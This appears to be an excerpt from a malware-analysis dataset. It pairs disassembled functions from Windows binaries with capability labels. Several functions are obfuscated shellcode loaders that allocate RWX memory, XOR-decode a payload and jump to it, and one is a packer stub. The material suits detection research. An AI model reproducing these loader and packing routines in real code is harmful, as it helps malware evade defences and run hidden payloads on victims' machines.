joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002a7d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f9d8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebx + 0x18]
sub esi, dword [ebx + 0x14]
mov eax, dword [ebp + 8]
add eax, esi
cmp eax, 0xa00000
jle 0x1002a827
push 0xcaa10025
lea ecx, [ebp - 0x18]
call fcn.100309a0
push 0x100731f4
lea eax, [ebp - 0x18]
push eax
call fcn.100309a0
push eax
lea ecx, [ebx + 0x14]
call fcn.100309a0
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x44]
push ecx
push dword [ebp + 8]
add eax, esi
push eax
push dword [ebx + 0x54]
call dword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
jne 0x1002a889
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002a889
push 0x10063700
lea ecx, [ebp + 8]
call fcn.100309a0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x28]
call fcn.100309a0
push 0x1007469c
lea eax, [ebp - 0x28]
push eax
call fcn.100309a0
mov eax, dword [ebx + 0x44]
add eax, esi
push eax
lea ecx, [ebx + 0x14]
call fcn.100309a0
push 0xa
mov ecx, ebx
call fcn.100309a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1002aa70
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fa38
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x54]
mov dword [ebp - 0x10], 0
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1002aaf3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002aaf3
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.100309a0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.100309a0
push 0x1007469c
lea eax, [ebp - 0x30]
push eax
call fcn.100309a0
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x1002ab25
mov ecx, dword [edi + 0x18]
sub ecx, dword [edi + 0x14]
add ecx, edx
cmp ecx, 0xa00000
jbe 0x1002ab25
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.100309a0
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.100309a0
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100309a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x100309af
pop dword [ebp - 0xc]
mov eax, 0x100309af
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x50560
push 0
mov eax, 0x45f4e78d
sub eax, 0x35eeb629
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x247d5619
sub ecx, 0x247d1933
mov edi, eax
mov esi, 0xd018dd0e
sub esi, 0xc00d9b0e
add esi, dword [ebp - 0xc]
mov ebx, 0x5c643dba
sub dword [ebp - 4], eax
mov edx, dword [esi]
sub dword [ebp - 8], ecx
sub edx, ebx
sub dword [ebp - 8], ecx
mov dword [edi], edx
xor dword [ebp - 4], 0xeadca40d
add edi, 4
add esi, 0x7b74588a
sub esi, 0x7b745886
loop 0x10030a03
add eax, 0xe66b
mov ebx, eax
add eax, 0x19715180
sub eax, 0x1971517b
mov ecx, 0xec6f0f61
sub ecx, 0xdc6f0f61
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x10032d30
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x34]
call fcn.1003dee0
movzx edi, al
neg edi
sbb edi, edi
push 0xd
mov ecx, esi
and edi, 0x800000
call fcn.100309a0
cmp dword [esi + 0x48], 0
je 0x10032dcc
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 0x34]
call fcn.100309a0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [esi + 0x10]
push dword [esi + 0x48]
call dword [sym.imp.winhttp.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 4]
add edx, 0xfffffff0
mov dword [esi + 0x4c], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10032da0
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x4c], 0
jne 0x10032dc3
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100309a0
push 0x10073814
lea eax, [ebp - 0x10]
push eax
call fcn.100309a0
push 0xe
mov ecx, esi
call fcn.100309a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10032de0
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061948
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x44], 0
je 0x10032e29
push 0xcaa10023
lea ecx, [ebp - 0x1c]
call fcn.100309a0
push 0x10073144
lea eax, [ebp - 0x1c]
push eax
call fcn.100309a0
movzx eax, byte [esi + 0x41]
neg eax
sbb eax, eax
and eax, 0x10000000
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.winhttp.dll_WinHttpOpen]
mov dword [esi + 0x44], eax
test eax, eax
jne 0x10032e7e
push 0x10063700
lea ecx, [ebp - 0x10]
call fcn.100309a0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100309a0
push 0x1007469c
lea eax, [ebp - 0x2c]
push eax
call fcn.100309a0
push 1
mov ecx, esi
call fcn.100309a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10032ea0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060c88
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
mov edi, dword [eax + 0x18]
sub edi, dword [eax + 0x14]
mov edx, dword [ebp + 8]
lea ebx, [eax + 0x14]
add edx, edi
mov dword [ebp - 0x18], edi
cmp edx, 0xa00000
jle 0x10032f01
push 0xcaa10025
lea ecx, [ebp - 0x28]
call fcn.100309a0
push 0x100731f4
lea eax, [ebp - 0x28]
push eax
call fcn.100309a0
mov ecx, dword [ebx + 4]
mov eax, dword [ebx]
mov esi, ecx
sub esi, eax
mov byte [ebp - 0x10], 0
cmp edx, esi
jbe 0x10032f25
sub eax, ecx
lea esi, [ebp - 0x10]
push esi
add eax, edx
push eax
push ecx
mov ecx, ebx
call fcn.100309a0
jmp 0x10032f46
jae 0x10032f46
lea esi, [edx + eax]
cmp esi, ecx
je 0x10032f46
mov edi, ecx
sub edi, ecx
push edi
push ecx
push esi
call fcn.100309a0
lea eax, [edi + esi]
mov edi, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebx + 4], eax
mov eax, dword [ebx]
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 0x4c]
mov dword [ebp - 0x14], 0
call dword [sym.imp.winhttp.dll_WinHttpReadData]
test eax, eax
jne 0x10032f9b
push 0x10063700
lea ecx, [ebp + 8]
call fcn.100309a0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x38]
call fcn.100309a0
push 0x1007469c
lea eax, [ebp - 0x38]
push eax
call fcn.100309a0
mov eax, dword [ebp - 0x14]
add eax, edi
push eax
mov ecx, ebx
call fcn.100309a0
push 0xa
mov ecx, esi
call fcn.100309a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10033280
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d59
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], 0
mov eax, dword [0x1007f3e4]
mov ecx, 0x1007f3e4
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
call dword [eax + 0xc]
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
mov dword [ebp - 0x14], 1
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10033389
mov eax, dword [ebp - 0x10]
cmp eax, 0xa00000
jbe 0x1003332c
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.100309a0
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.100309a0
shr eax, 1
dec eax
push eax
mov ecx, esi
call fcn.100309a0
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov ecx, dword [esi]
mov edi, eax
test ecx, ecx
je 0x10033367
push dword [ecx - 8]
push ecx
call fcn.100309a0
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1003339e
mov eax, dword [esi]
cmp ecx, dword [eax - 8]
jg 0x1003339e
mov dword [eax - 0xc], ecx
mov eax, dword [esi]
xor edx, edx
mov word [eax + ecx*2], dx
test edi, edi
jne 0x10033389
push 0x10063700
mov ecx, esi
call fcn.100309a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
push 0x80070057
call fcn.100309a0
int3

Function at 0x10045816
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10080cd4], 0
push esi
push edi
jne 0x1004578c
call fcn.100456f8
test eax, eax
je 0x100457d1
mov eax, dword [0x10080cd4]
cmp eax, 1
jne 0x100457ad
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x100457d1
jmp 0x10045813
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10045813
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100457d5
xor eax, eax
jmp 0x10045813
mov eax, dword [esi]
push dword [0x10080cd4]
call edi
mov edi, eax
test edi, edi
je 0x100457f7
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10045813
lea edi, [esi + 0xff0]
push esi
push dword [0x10080cd4]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x100457fd
mov eax, esi
pop edi
pop esi
ret
jmp 0x10045778

Function at 0x10045bb2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1007f45c]
jne 0x10045bbc
repz ret
jmp fcn.100490d1
Function at 0x406a26
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a4a
xor eax, eax
test eax, eax
je 0x406a5d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a5d
xor ecx, ecx
jmp 0x406a60
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b83
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x45bdec], 0
push esi
jne 0x406bba
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b94
mov dword [ecx*4 + 0x45bde8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b8f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406beb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x45bde8]
xor eax, esi
inc ecx
dec edx
jne 0x406bcd
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x6a4e6320
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x5d2f4a7f
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x10008cc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10008cd1
pop dword [ebp - 0x1c]
mov eax, 0xb54567ca
sub eax, 0xa544daf9
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2188df18
add dword [ebp - 0x2c], 0x2cc96633
mov dword [ebp - 0x28], 0xcfde02b1
sub dword [ebp - 0x28], 0x9daab66c
mov dword [ebp - 0x24], 0xf2b105b9
add dword [ebp - 0x24], 0x599b3e75
mov dword [ebp - 0x20], 0xe08537c6
sub dword [ebp - 0x20], 0xe08537c6
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x7f5dd8f1
sub eax, 0x6f5bf871
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x1639f956
sub dword [ebp - 0x2c], 0xa1c79000
mov dword [ebp - 0x28], 0xae66a241
add dword [ebp - 0x28], 0x9305bf34
mov dword [ebp - 0x24], 0xb3125c87
sub dword [ebp - 0x24], 0x4fa2f01b
mov dword [ebp - 0x20], 0xc8f5482b
sub dword [ebp - 0x20], 0xc8f5482b
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x6e2013d2
sub eax, 0x5e1e334e
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3dd37
push 0
call eax
mov ecx, 0x821fd34b
add ecx, 0x7de076e7
mov edx, eax
mov ebx, 0xb080b8cc
sub ebx, 0xa07d60cc
add ebx, dword [ebp - 0x1c]
mov edi, 0xdd3c02ce
add edi, 0xcf319db1
xor dword [ebp - 0x18], 0x63e5b9c4
mov esi, dword [ebx]
xor esi, edi
sub dword [ebp - 0x10], 0xfbf31f48
mov dword [edx], esi
sub dword [ebp - 0x18], edi
add edx, 0xf3fac10b
sub edx, 0xf3fac107
add ebx, 4
loop 0x10008df3
add eax, 0x5d63774c
add eax, 0xa29da44f
mov ebx, eax
add eax, 0x2f28effa
add eax, 0xd0d7100b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10006807
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10006816
pop dword [ebp - 0x50]
mov eax, 0x10006816
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3c9fa
push 0
mov eax, 0xe3ff5b7e
sub eax, 0xd3fdfa3e
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xb34fa35f
sub ecx, 0xb34f5083
mov edx, eax
mov esi, 0x36a4445b
add esi, 0xd95dffa5
add esi, dword [ebp - 0x50]
mov ebx, 0xe6d16fd3
sub ebx, 0x37389fbe
sub dword [ebp - 0x1c], 0x32a41d9e
mov edi, dword [esi]
sub dword [ebp - 0x34], ecx
add edi, ebx
sub dword [ebp - 0x40], eax
mov dword [edx], edi
xor dword [ebp - 8], edi
add edx, 0x49594c84
sub edx, 0x49594c80
add esi, 0x55180e7e
add esi, 0xaae7f186
loop 0x10006870
add eax, 0x13e43
xor ebx, ebx
add ebx, eax
add eax, 0x29b44ff5
add eax, 0xd64bb010
mov ecx, 0xfc4a4833
add ecx, 0x13b5b7cd
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401c66
pop dword [ebp - 0x20]
mov eax, 0x401c66
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x97e26ebd
sub dword [ebp - 0x30], 0x49902972
mov dword [ebp - 0x2c], 0xdbb17e1d
add dword [ebp - 0x2c], 0x5681ce28
mov dword [ebp - 0x28], 0xe1809a66
sub dword [ebp - 0x28], 0x95345638
mov dword [ebp - 0x24], 0x7aa23383
add dword [ebp - 0x24], 0x855dcc7d
lea eax, [ebp - 0x30]
push eax
mov eax, 0xcc6fbd38
add eax, 0x33d0731c
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x2d3584b5
add dword [ebp - 0x30], 0x473ce4a1
mov dword [ebp - 0x2c], 0x68186f8
add dword [ebp - 0x2c], 0x3aeada7d
mov dword [ebp - 0x28], 0x270bd6a1
add dword [ebp - 0x28], 0x3c6395cb
mov dword [ebp - 0x24], 0xdb302bd4
add dword [ebp - 0x24], 0x24cfd42c
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x36266
push 0
call eax
mov ecx, 0x46ad
xor edi, edi
add edi, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x20]
mov edx, 0x187f2223
xor dword [ebp - 0x14], 0x581ace0
mov esi, dword [ebx]
sub dword [ebp - 0xc], 0xb41bc3c9
xor esi, edx
sub dword [ebp - 0x1c], edi
mov dword [edi], esi
xor dword [ebp - 8], ebx
add edi, 0xaba30e82
add edi, 0x545cf182
add ebx, 0x4dcb6528
sub ebx, 0x4dcb6524
loop 0x401d6e
add eax, 0x7fe0efec
add eax, 0x80201d9b
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x100374e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100374f0
pop dword [ebp - 0x10]
mov eax, 0xe1197d65
sub eax, 0xd1160875
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xfacc2286
sub dword [ebp - 0x20], 0xac79dd3b
mov dword [ebp - 0x1c], 0x38618605
sub dword [ebp - 0x1c], 0x62e39c0
mov dword [ebp - 0x18], 0x13d82f0a
add dword [ebp - 0x18], 0x38741524
mov dword [ebp - 0x14], 0x2a89370d
add dword [ebp - 0x14], 0xd576c8f3
lea eax, [ebp - 0x20]
push eax
mov eax, 0x2cb15568
add eax, 0xe34ebb80
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x27d8ce
sub dword [ebp - 0x20], 0x8bb56f78
mov dword [ebp - 0x1c], 0x6b243cbe
add dword [ebp - 0x1c], 0xd64824b7
mov dword [ebp - 0x18], 0xb35e4f88
add dword [ebp - 0x18], 0xb0111ce4
mov dword [ebp - 0x14], 0x5ddfbf94
add dword [ebp - 0x14], 0xa220406c
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x40591
push 0
call eax
mov ecx, 0x4333
mov esi, eax
mov edx, 0xabae775b
add edx, 0x6456a6a5
add edx, dword [ebp - 0x10]
mov ebx, 0xb658c80e
sub ebx, 0x79482f3
add dword [ebp - 4], eax
mov edi, dword [edx]
xor dword [ebp - 8], 0xa5f490d6
add edi, ebx
sub dword [ebp - 0xc], edx
mov dword [esi], edi
sub dword [ebp - 4], edi
add esi, 4
add edx, 4
loop 0x10037607
add eax, 0x7e0b0100
add eax, 0x81f5fe9f
xor ebx, ebx
add ebx, eax
add eax, 0x92ad2c4a
add eax, 0x6d52d3bb
mov ecx, 0x540bf942
sub ecx, 0x440bf942
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x1003eed2
Capabilities:
Set registry value

Disassembly:
push 0x10
mov eax, 0x10043494
call fcn.1004049f
xor esi, esi
push 0x1004a9c4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call fcn.100374e1
mov dword [ebp - 4], esi
cmp dword [0x1004a9bc], esi
je 0x1003ef1a
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
jmp 0x1003ef8a
push 1
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call fcn.100374e1
test eax, eax
jns 0x1003ef32
push 8
pop edi
jmp 0x1003ef7c
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x1003ef62
cmp edi, 2
jbe 0x1003ef43
cmp edi, 7
jne 0x1003ef62
push 1
push esi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x18]
call fcn.100374e1
mov esi, dword [ebp - 0x10]
test eax, eax
js 0x1003ef2d
mov eax, dword [ebp + 0x1c]
mov ecx, esi
shr eax, 1
jmp 0x1003ef68
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
push eax
push ecx
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, eax
push dword [ebp - 0x14]
call fcn.100374e1
push esi
call fcn.100374e1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.100311d4
mov eax, edi
call fcn.10040577
ret 0x18
Function at 0x421710
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
push ebx
push esi
mov esi, dword [edx + 4]
mov ebx, ecx
mov dword [esp + 8], esi
mov dword [edx], esi
push edi
test ebx, ebx
je 0x42186f
cmp word [ebx], 0
je 0x42186f
push 4
push 0x4db370
push ebx
call fcn.004a98d6
add esp, 0xc
lea ecx, [ebx + 8]
test eax, eax
mov edi, ebx
cmove edi, ecx
test edi, edi
je 0x4217a1
movzx eax, word [edi]
test ax, ax
je 0x4217a1
mov esi, eax
nop dword [eax]
nop dword [eax + eax]
mov ecx, 0x4d3e40
mov edx, 0x3f
nop word [eax + eax]
cmp si, dx
je 0x4217e4
movzx eax, word [ecx + 2]
add ecx, 2
mov edx, eax
test ax, ax
jne 0x421780
movzx eax, word [edi + 2]
add edi, 2
mov esi, eax
test ax, ax
jne 0x421770
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, dword [ebp + 8]
mov edx, eax
test ecx, ecx
je 0x4217bb
and eax, ecx
cmp eax, ecx
jne 0x42186f
cmp edx, 0xffffffff
je 0x42186f
mov ecx, dword [esp + 0xc]
call fcn.00482750
cmp word [ecx], 0
jne 0x421878
mov dword [ecx], 0x58
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x42186f
cmp word [esp + 0x3c], 0x2e
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
jne 0x421831
mov ax, word [esp + 0x3e]
test ax, ax
je 0x42181d
cmp ax, 0x2e
jne 0x421831
cmp word [esp + 0x40], 0
jne 0x421831
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
je 0x421868
cmp word [esp + 0x3c], 0x2e
je 0x421805
mov esi, dword [ebp + 8]
test esi, esi
je 0x421858
mov eax, dword [esp + 0x10]
and eax, esi
cmp eax, esi
je 0x421858
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
je 0x421868
mov eax, dword [esp + 0x10]
and eax, esi
cmp eax, esi
jne 0x421842
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x10]
jmp 0x4217c4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0xc]
xor ecx, ecx
mov word [eax], cx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40d05a
pop dword [ebp - 0x40]
mov eax, 0x183d6a9e
sub eax, 0x17fc9a44
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xbc644067
sub dword [ebp - 0x50], 0x6e11fb1c
mov dword [ebp - 0x4c], 0x52ddae16
sub dword [ebp - 0x4c], 0x20aa61d1
mov dword [ebp - 0x48], 0x184eb4ed
sub dword [ebp - 0x48], 0xcc0270bf
mov dword [ebp - 0x44], 0xcc8d6a9f
add dword [ebp - 0x44], 0x33729561
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x351fd457
add dword [ebp - 0x50], 0x3f5294ff
mov dword [ebp - 0x4c], 0xf39b7119
sub dword [ebp - 0x4c], 0xb22f0fa4
mov dword [ebp - 0x48], 0xb903b681
add dword [ebp - 0x48], 0xaa6bb5eb
mov dword [ebp - 0x44], 0x199519c9
sub dword [ebp - 0x44], 0x199519c9
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xcc516c30
add eax, 0x33ef7458
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3bbac
push 0
call eax
mov ecx, 0x6ec2e47e
sub ecx, 0x6ec28c64
mov ebx, eax
mov esi, 0x7a6cd920
add esi, 0x85d516e0
add esi, dword [ebp - 0x40]
mov edx, 0x375707d
add edx, 0xbf83f24c
add dword [ebp - 0x14], edx
mov edi, dword [esi]
xor dword [ebp - 0x30], eax
add edi, edx
sub dword [ebp - 0xc], 0x65b29773
mov dword [ebx], edi
xor dword [ebp - 0xc], edx
add ebx, 0x621cacad
sub ebx, 0x621caca9
add esi, 0xde16369
add esi, 0xf21e9c9b
loop 0x40d177
add eax, 0x1533b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1e243ade
add ecx, 0xe21bc522
add ecx, dword [ebp - 0x40]
call ebx
leave
ret